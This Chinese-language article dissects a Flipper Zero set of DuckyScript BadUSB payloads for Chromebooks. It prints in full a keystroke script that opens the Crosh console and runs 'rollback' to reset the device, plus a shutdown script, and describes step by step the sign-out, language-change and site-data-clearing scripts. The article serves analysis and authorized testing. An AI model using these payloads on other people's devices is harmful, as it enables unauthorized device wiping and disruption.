首页
/ Flipper Zero × ChromeOS:面向 Chromebook 的 DuckyScript BadUSB 载荷集原理与逐脚本解析

Flipper Zero × ChromeOS:面向 Chromebook 的 DuckyScript BadUSB 载荷集原理与逐脚本解析

2026-09-13 12:24:16作者:秋泉律Samson

本文以 Flipper Zero 资源仓库中 BadUSB/chromeOS/ 目录下的 ChromeOS 载荷集为主线,拆解一组针对 ChromeOS/Chromebook 的 DuckyScript 键盘载荷是如何构建的:从关闭标签页建立确定性焦点,到进入 chrome-untrusted://crosh 控制台触发系统回滚,再到纯键盘导航实现关机、登出、更换输入语言与清除站点数据。读完后你可以理解每个脚本的作用机理、相互差异与兼容性边界,并能据此为自己的授权测试环境挑选和微调脚本。

1. 集合的自我陈述与文件构成

本集合的说明文档 README 篇幅很短,但包含两条对使用者至关重要的陈述:

  1. 重写动机:作者观察到市面上许多所谓的 chromeOS 脚本实际上是从 Windows/macOS 版本生搬硬套过来的移植货,质量不佳,因此他针对 ChromeOS 的实际 UI 交互机制重新编写了全套脚本(原文大意为 "I made my own")。
  2. 兼容性警告:这些脚本可能不适用于所有 ChromeOS/Chromebook 设备,作者建议根据自己手中的 Chromebook 调整脚本,但"应该能在市面上大多数 Chromebook 上工作"。

集合内每个 .txt 载荷文件的 REM 注释头都标注了同一位作者(httpsisbetter),说明这是一次有统一设计的重写工作,而非散乱拼凑。目录结构如下:

文件 功能(依据各脚本 REM 注释)
croshrollback.txt 通过 Crosh 控制台触发更新回滚(rollback/powerwash)
shutdown.txt 关机
shutdowninput.txt 屏幕底部存在语言输入条时的关机变体
signout.txt 登出当前用户
signoutinput.txt 存在语言输入条时的登出变体
arabic.txt 将系统输入语言更改为阿拉伯语
brainly.txt 清除 brainly.com 的站点数据/cookies
closetest.txt 批量关闭打开的浏览器标签页
langfuck.txt 组合脚本:改语言 + 设置页导航 + 关机
wip/ROLLBACKNEW.txt 等 4 个文件 使用 DEFAULTDELAY/REPEAT 的现代化重构版本

2. 共同技术基础:DuckyScript 与 ChromeOS 的键盘可达面

2.1 执行模型

这些 .txt 文件均为 DuckyScript,由 Flipper Zero 的 BadUSB(HID Ducky)应用播放:将脚本文件放入 Flipper 的 SD 卡,在 BadUSB 应用中选中目标脚本,再把 Flipper 插入目标设备的 USB 口,内置 HID 设备即按脚本逐条发出键盘事件。本集合用到了以下指令词:CTRL/SHIFT 组合键、TABENTERSTRING(批量输入文本)、DELAY(显式延时)、REM(注释)、以及 wip/ 版本引入的 DEFAULTDELAYREPEAT

2.2 这些脚本利用的 ChromeOS 表面

全部脚本都建立在一个前提之上:目标设备已登录用户账号、处于正常桌面状态。在此前提下,ChromeOS 提供了几个纯键盘即可触达的高价值入口:

  • chrome-untrusted://crosh:在浏览器地址栏输入即可打开 Crosh 控制台,这是 ChromeOS 的类 Linux 命令行界面,内置 rollback 等系统级命令;
  • 屏幕右下侧 Shelf(系统栏)的系统菜单:通过 TAB/SHIFT TAB 焦点导航 + ENTER 可触发关机、登出;
  • chrome://settings/siteData:按域名清除站点数据;
  • 设置页的搜索与语言/输入法管理界面。

2.3 公共起手式:三连 CTRL W

从源码结构看,几乎每个脚本都以三次 CTRL W(间隔 DELAY 100)开头。其意图是可推断的:连续关闭浏览器标签页,当最后一个标签被关闭时,ChromeOS 会呈现新标签页且地址栏(omnibox)处于可预测的焦点状态。这为后续的 TAB 焦点定位与 STRING + ENTER 地址栏输入提供了一个稳定的焦点起点——这也是作者强调"重写"而非移植 Windows 脚本的原因:焦点顺序必须按 ChromeOS 自身的 UI 行为来编排。

3. 核心载荷逐个解析

3.1 croshrollback.txt —— 触发更新回滚/powerwash

完整脚本如下(原始 REM 头中的外部 URL 已省略):

REM MADE BY httpsisbetter
REM Will commit a update rollback/powerwash
REM Might not work with enterprise enrolled devices
REM Requirement: CHROMEOS

CTRL W
DELAY 100
CTRL W
DELAY 100
CTRL W
DELAY 2000
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 1000
STRING chrome-untrusted://crosh
DELAY 100
ENTER
DELAY 3000
STRING Hacked successfully!
DELAY 100
ENTER
DELAY 2000
STRING cat > /dev/null << EOF
ENTER
DELAY 500
STRING rollback
DELAY 1000
ENTER
DELAY 1000
STRING Y
DELAY 500
ENTER

按阶段拆解:

  1. 建立焦点起点(L6–L10):三连 CTRL W 关闭全部标签页;
  2. 聚焦地址栏(L12–L18):连续 TABENTER,从源码结构看目的是把焦点稳定地落到地址栏上,作为后续输入的落点;
  3. 进入 Crosh 控制台(L20–L22):STRING chrome-untrusted://crosh + ENTER,等待 3 秒让控制台加载;
  4. 控制台内输入命令链(L24–L37):先输入 Hacked successfully! 并回车——这是一条无效命令,只会得到报错、无副作用,可视为作者留下的执行确认标记;随后依次输入 cat > /dev/null << EOFrollbackY 并各自回车。作者 REM 注释表明整条链的目的是在 Crosh 中提交 rollback 并自动应答其 Y/N 确认提示。

需要注意的边界:cat > /dev/null << EOF 这个 here-document 前缀在 Crosh 控制台中的具体行为无法仅凭仓库内容证实(不同固件版本的控制台实现可能有差异),且该脚本自己的注释就明确警告 "Might not work with enterprise enrolled devices"(企业注册设备可能失效)。再结合 README 的兼容性提示,任何此类破坏性操作都应在自己的授权测试机上先行验证。

3.2 shutdown.txt 与 shutdowninput.txt —— 键盘导航关机

REM MADE BY httpsisbetter
REM Shutdown the computer
REM Requirements: CHROMEOS

CTRL W
DELAY 100
CTRL W
DELAY 100
CTRL W
DELAY 2000
SHIFT TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 100
TAB
TAB
TAB
DELAY 100
ENTER

shutdown.txt 的后半段是一段纯焦点导航:SHIFT TAB + TAB + ENTER 的组合用于打开 Shelf 右侧的系统菜单(焦点先回退再前进,保证落在菜单入口上),随后连续 TAB 三项 + ENTER 将焦点移到"关机"条目并确认。

shutdowninput.txt 与其逐行几乎相同,唯一差别是在菜单打开后多打了一个 TAB见第 15 行)。作者注释说明了动机:当屏幕底部存在语言输入条(language input bar)时,界面的焦点顺序会被打乱,需要多停一格。这是"同一逻辑、两套焦点序列"的典型处理,也是 ChromeOS 脚本必须按目标设备 UI 状态微调的直接例证。

3.3 signout.txt 与 signoutinput.txt —— 登出

signout.txt 复用同一套 Shelf 导航前缀(SHIFT TAB + TAB + ENTER 打开系统菜单),随后不再继续 TAB,直接 ENTER 选中菜单第一项"Sign out",实现登出当前用户。

signoutinput.txt 是语言输入条变体,且在末尾追加了四次 CTRL Q + ENTER(L16–L19),用于在登出流程后关闭窗口,进一步清理界面状态。

3.4 arabic.txt —— 更改输入语言为阿拉伯语

arabic.txt 展示了集合中交互最完整的一段流程:

  1. CTRL W ×3 关闭标签页,TAB + ENTER 进入设置搜索入口;
  2. STRING add input methods + ENTER:在设置中搜索"添加输入法";
  3. STRING arabic + ENTER:在结果中命中阿拉伯语并连续 TAB/ENTER 完成"添加"操作;
  4. SHIFT TAB ×3 + ENTER:逐步退回设置页;
  5. CTRL W ×3:关闭所有设置标签页,恢复现场。

其 REM 注释还特别提示:更改后屏幕底部的语言输入条仍然会保留——这正好解释了 3.2 节中 shutdowninput/signoutinput 变体存在的必要性:arabic.txt 会主动制造出语言输入条这一干扰状态,而带 input 后缀的脚本正是为这种状态准备的配套版本。

3.5 brainly.txt —— 定向清除站点数据

brainly.txt 的流程:CTRL T 新建标签页 → 输入 chrome://settings/siteData 回车 → TAB 进入该页的搜索框 → 输入 brainly 回车过滤 → 连续 TAB 到"清除"操作并 ENTER 确认 → CTRL W 关闭页面。它演示了利用 Chrome 设置页的站点数据管理界面做按域名定向清理的标准按键序列。

3.6 closetest.txt —— 批量关标签页

closetest.txt 是最短的脚本:仅三次 CTRL W。其注释明确给出扩展方法:"想关多少标签就加多少 CTRL W"——这既是测试脚本,也是"三连 CTRL W"起手式的最小单元。

3.7 langfuck.txt —— 组合脚本的链式示例

langfuck.txt 是理解本集合"编排"思路的关键样本,它由三段拼接而成:

  • 前段(L5–L49):与 arabic.txt 几乎逐行相同,先把输入语言改成阿拉伯语;
  • 中段(L51–L128):一长串 TAB/ENTER 链,在设置与系统页面间逐格导航;
  • 尾段(L131–L141SHIFT TABTABENTERTAB×3、ENTER——与 shutdown.txt 的关机导航序列完全一致,即脚本最终执行关机。

读它的价值在于:可以看到作者如何把 3.4 节与 3.2 节两条独立流程按焦点状态衔接成一条连续序列,中间用 DELAY 补偿页面加载时间。

4. wip/ 目录:使用 DuckyScript 2.0 特性的现代化重构

wip/ 目录存放了四个重构版本(ROLLBACKNEW.txtarabicnew.txtbrainynew.txtclosetestnew.txt),其中两个可与旧版直接对照,展示了新版 DuckyScript 指令带来的简洁化:

旧版 croshrollback.txt 开头:

CTRL W
DELAY 100
CTRL W
DELAY 100
CTRL W
DELAY 2000

新版 wip/ROLLBACKNEW.txt 对应改为:

DEFAULTDELAY 100
CTRL W
REPEAT 2
DELAY 2000

重构手法有两点:

  1. DEFAULTDELAY 100:一次性设定全局默认动作间隔,替代旧版散落各处的显式 DELAY 100 行,脚本行数显著减少;
  2. REPEAT 2:将旧版重复三次的 CTRL W 收敛为一次 CTRL W + REPEAT 2(即共执行 3 次),语义更清晰。

closetestnew.txt 同样用 DEFAULTDELAY 100 + CTRL W + REPEAT 2 替代了旧版 closetest.txt 的三个 CTRL W。同目录的 arabicnew.txtbrainynew.txt 延续同样的重构思路,可作为各自旧版脚本的对照阅读。

5. 适用前提、限制与风险边界

综合 README 与各脚本的 REM 注释,使用本集合前必须明确的边界有:

  • 兼容性:README 原文声明脚本"可能不适用于所有 ChromeOS 或 Chromebook 设备,应按自己手中的 Chromebook 调整脚本"。根本原因在于所有脚本都依赖界面焦点顺序,而焦点顺序会随固件版本、系统语言、是否存在语言输入条(即 input 后缀变体的存在原因)而漂移。
  • 企业设备croshrollback.txt 注释明确提示企业注册(enterprise enrolled)设备可能失效。
  • 前提状态:所有脚本假定目标已登录且处于正常桌面;锁定屏或登录页状态下这些按键序列不会命中预期目标。
  • 破坏性:回滚会退回系统版本、powerwash 会重置设备、关机/登出会中断用户工作——只应在自有设备或已获明确授权的设备上运行,并在关键操作(尤其 3.1 节命令链)前做行为验证。

6. 文件清单

相对路径 说明
BadUSB/chromeOS/README.md 集合说明:重写动机与兼容性警告
BadUSB/chromeOS/croshrollback.txt 触发更新回滚/powerwash
BadUSB/chromeOS/shutdown.txt 键盘导航关机
BadUSB/chromeOS/shutdowninput.txt 语言输入条场景的关机变体
BadUSB/chromeOS/signout.txt 登出当前用户
BadUSB/chromeOS/signoutinput.txt 语言输入条场景的登出变体
BadUSB/chromeOS/arabic.txt 更改输入语言为阿拉伯语
BadUSB/chromeOS/brainly.txt 清除 brainly.com 站点数据
BadUSB/chromeOS/closetest.txt 批量关闭标签页
BadUSB/chromeOS/langfuck.txt 改语言 + 设置导航 + 关机的组合脚本
BadUSB/chromeOS/wip/ROLLBACKNEW.txt 回滚脚本的 DEFAULTDELAY/REPEAT 重构版
BadUSB/chromeOS/wip/closetestnew.txt 关标签页脚本的重构版
BadUSB/chromeOS/wip/arabicnew.txt 改语言脚本的重构版
BadUSB/chromeOS/wip/brainynew.txt 站点数据清理脚本的重构版
登录后查看全文
热门项目推荐
相关项目推荐